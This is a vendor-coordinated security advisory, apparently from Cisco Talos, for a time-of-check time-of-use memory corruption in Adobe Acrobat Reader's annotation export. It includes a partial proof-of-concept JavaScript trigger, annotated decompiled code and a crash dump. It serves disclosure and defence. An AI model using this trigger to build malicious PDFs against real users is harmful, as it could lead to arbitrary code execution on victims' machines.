CVE-2024-39420
A time-of-check time-of-use vulnerability exists in Adobe Acrobat Reader 2024.002.20759. A specially crafted Javascript code inside a malicious PDF document can trigger memory corruption due to a race condition which could result in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Adobe Acrobat Reader 2024.002.20759
Acrobat Reader - https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-367 - Time-of-check Time-of-use (TOCTOU) Race Condition
Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market. It has a large user base and is usually a default PDF reader on systems. It also integrates into web browsers as a plugin for rendering PDFs.
Adobe’s PDF Reader supports different types of annotation
objects. Each annotation
object includes a page
property that specifies the page number where the annotation is located. There exists a time-of-check time-of-use vulnerability in the way Adobe Acrobat Reader handles an annotation
object page
property. This can be illustrated by the following proof-of-concept code:
function main() {
app.activeDocs[0].layout = "TwoColumnLeft";
app.activeDocs[0].scroll();
app.activeDocs[0].submitForm({cURL:event.shift, bAnnotations:true});
}
[...]
function set_annot() {
var square_annot = {page: 0, type: "Square", point: [18,14,3,6]};
app.activeDocs[0].getAnnots()[0].setProps(square_annot);
}
When a PDF with the specified JavaScript code is opened by the application, it triggers a call to the AnnotsExportNotes
function, which in turn invokes the following vulnerable function:
v9 = *(void (__cdecl **)(_DWORD, void (__noreturn *)()))(dword_688BCDF4 + 8);
v49 = 2;
v9(0, sub_68191F20);
page_annot_ptr = (wchar_t *)ASSureCalloc(8, total_page_num); //<------------------------------------------------- (1)
(*(void (__thiscall **)(_DWORD))(dword_688BCDF4 + 12))(*(_DWORD *)(dword_688BCDF4 + 12));
v49 = -1;
word_688BD21C = a3;
gbPreserveAnnotNames = a4;
gbIgnoreFiltration = a5;
[...]
for ( i = *v10; i != v10[1]; ++i ) //<------------------------------------------------- (2)
{
v46 = *i;
v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v46 + 24))(v46); //<------------------------------------------------- (3)
v14 = (int **)v15;
if ( v15 >= 0 && v15 < total_page_num )
{
v42 = (wchar_t *)*((_DWORD *)dword_688BCE18 + 15);
v46 = *i;
v16 = (_DWORD *)(*(int (__thiscall **)(int, __int16 *, int))(*(_DWORD *)v46 + 20))(v46, v38, 1);// calls CPDAnnot::getPopup
v17 = ((int (__thiscall *)(wchar_t *, _DWORD, _DWORD))v42)(v42, *v16, v16[1]);
*(_DWORD *)&page_annot_ptr[4 * (_DWORD)v14] += (v17 != 0) + 1; //<------------------------------------------------- (4)
}
v10 = a2;
}
total_page_num_1 = total_page_num;
index = 0;
for ( v46 = 0; index < total_page_num_1; v46 = index ) //<------------------------------------------------- (5)
{
annot_buffer = (*((int (__cdecl **)(int))dword_688BCE00 + 1))(8 * *(_DWORD *)&page_annot_ptr[4 * index]); //<------------------------- (6)
j_1 = v46;
*(_DWORD *)&page_annot_ptr[4 * v46 + 2] = annot_buffer; //<------------------------- (7)
*(_DWORD *)&page_annot_ptr[4 * j_1] = 0;
index = j_1 + 1;
}
CPDAnnot = a2;
for ( j = *a2; j != CPDAnnot[1]; ++j ) //<------------------------- (8)
{
v14 = (int **)*j;
page_1 = ((int (__thiscall *)(int **))(*v14)[6])(v14); //<------------------------- (9)
v46 = page_1; //<------------------------- (10)
if ( page_1 >= 0 && page_1 < total_page_num )
{
if ( *(_DWORD *)&page_annot_ptr[4 * page_1 + 2] )
{
v14 = (int **)*j;
annot = (int *)((int (__thiscall *)(int **, __int16 *))(*v14)[4])(v14, v37);// CPDAnnot__getAnnot
v26 = page_annot_ptr;
v27 = *annot;
v14 = (int **)annot[1];
write_to_it_buffer_1 = *(_DWORD *)&page_annot_ptr[4 * v46 + 2];
v29 = *(_DWORD *)&page_annot_ptr[4 * v46];
*(_DWORD *)(write_to_it_buffer_1 + 8 * v29) = v27;
*(_DWORD *)(write_to_it_buffer_1 + 8 * v29 + 4) = v14;
++*(_DWORD *)&v26[4 * v46];
v14 = (int **)*j;
((void (__thiscall *)(int **, wchar_t *, int))(*v14)[5])(v14, v_data_A, 1);
if ( (*((unsigned __int16 (__cdecl **)(_DWORD, wchar_t *))dword_688BCE18 + 15))(*(_DWORD *)v_data_A, v_data_B_1) )
{
v_data_B = v_data_B_1;
v42 = page_annot_ptr;
annot_buffer_1 = *(_DWORD *)&page_annot_ptr[4 * v46 + 2]; //<------------------------- (11)
v32 = *(_DWORD *)&page_annot_ptr[4 * v46];
*(_DWORD *)(annot_buffer_1 + 8 * v32) = *(_DWORD *)v_data_A; //<------------------------- (12)
*(_DWORD *)(annot_buffer_1 + 8 * v32 + 4) = v_data_B;
++*(_DWORD *)&v42[4 * v46];
}
}
}
CPDAnnot = a2;
}
At (1)
, ASSureCalloc
is called to allocate a buffer, named page_annot_ptr
, of the size (8 * total_page_num)
. For each page, page_annot_ptr
contains a size (annot_size
) followed by a buffer (annot_buffer
).
A loop starts at (2)
which reads annot_size
for each page and stores it in page_annot_ptr
at (4)
. The index value comes from v14
, whose value is obtained by the call to CPDAnnot::getPage
at (3)
.
The loop starts at (5)
reads annot_size
and creates annot_buffer
. The malloc
function is called at (6)
to allocate annot_buffer
of the size (8 * annot_size)
. Later, it was stored in page_annot_ptr
at (7).
The loop starts at (8)
sets the annot_buffer
buffer. It calls CPDAnnot::getPage
at (9)
. This method takes CPDAnnot
object as an argument. In the vulnerable condition, the CPDAnnot
object is updated which gives a different page number when CPDAnnot::getPage
is called. The retrieved page number is stored in v46
at (10)
, and is later used as an index to access annot_buffer
. Note that, if the page number has changed by the time of use, it will lead to access to an annot_buffer
from a different page. An out of bounds write occurs at (12)
when the different type of annot_buffer
is accessed. Following can be observed at the time of the crash:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=47ab2fe8 ecx=ba448ff8 edx=c0010000 esi=c0e90ff8 edi=0000001b
eip=681d22eb esp=0479d418 ebp=0479d474 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
Annots!PlugInMain+0xc4f7b:
681d22eb 8914c1 mov dword ptr [ecx+eax*8],edx ds:002b:ba449000=????????
0:000> dd ecx
ba448ff8 c0010000 00000019 ???????? ????????
ba449008 ???????? ???????? ???????? ????????
ba449018 ???????? ???????? ???????? ????????
ba449028 ???????? ???????? ???????? ????????
ba449038 ???????? ???????? ???????? ????????
ba449048 ???????? ???????? ???????? ????????
ba449058 ???????? ???????? ???????? ????????
ba449068 ???????? ???????? ???????? ????????
0:000> u
Annots!PlugInMain+0xc4f7b:
681d22eb 8914c1 mov dword ptr [ecx+eax*8],edx
681d22ee 897cc104 mov dword ptr [ecx+eax*8+4],edi
681d22f2 8b45d4 mov eax,dword ptr [ebp-2Ch]
681d22f5 8b4de4 mov ecx,dword ptr [ebp-1Ch]
681d22f8 ff04c8 inc dword ptr [eax+ecx*8]
681d22fb 8b450c mov eax,dword ptr [ebp+0Ch]
681d22fe 83c604 add esi,4
681d2301 3b7004 cmp esi,dword ptr [eax+4]
0:000> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0479d474 681d739d 3f904b68 c0e8eff0 00000000 Annots!PlugInMain+0xc4f7b
01 0479d4a0 6841b9b6 3f904b68 00000000 00000000 Annots!PlugInMain+0xca02d
02 0479d510 69e2733a 0479d580 00000000 d383c575 Annots!PlugInMain+0x30e646
03 0479d550 69e271e2 47ab2fe8 0479d580 0479df18 AcroForm!SubstitutionLogBackwardIterator::GetTarget+0x209ba
04 0479d560 69ffb2fe 0000000a 0479d580 d383cf3d AcroForm!SubstitutionLogBackwardIterator::GetTarget+0x20862
05 0479df18 69f17857 00000988 0479e3c8 69f17857 AcroForm!IWRFontInfo::HasGlyphlets+0x8692e
06 0479e3c0 68c91c1a 69f15e10 68c91c1a 4c0a0fb8 AcroForm!IWRFontAccess::WRGetGlyphNames+0x20087
07 0479e518 68b70ddb 52c78000 00000001 52da90c0 EScript!PlugInMain+0x176ea
08 00000000 00000000 00000000 00000000 00000000 EScript!mozilla::HashBytes+0x340cb
Depending on the memory layout of the process, it may be possible to abuse this vulnerability for arbitrary read and write access, which could ultimately be abused to achieve arbitrary code execution.
2024-06-26 - Vendor Disclosure
2024-08-13 - Vendor Patch Release
2024-09-10 - Public Release
Discovered by KPC of Cisco Talos.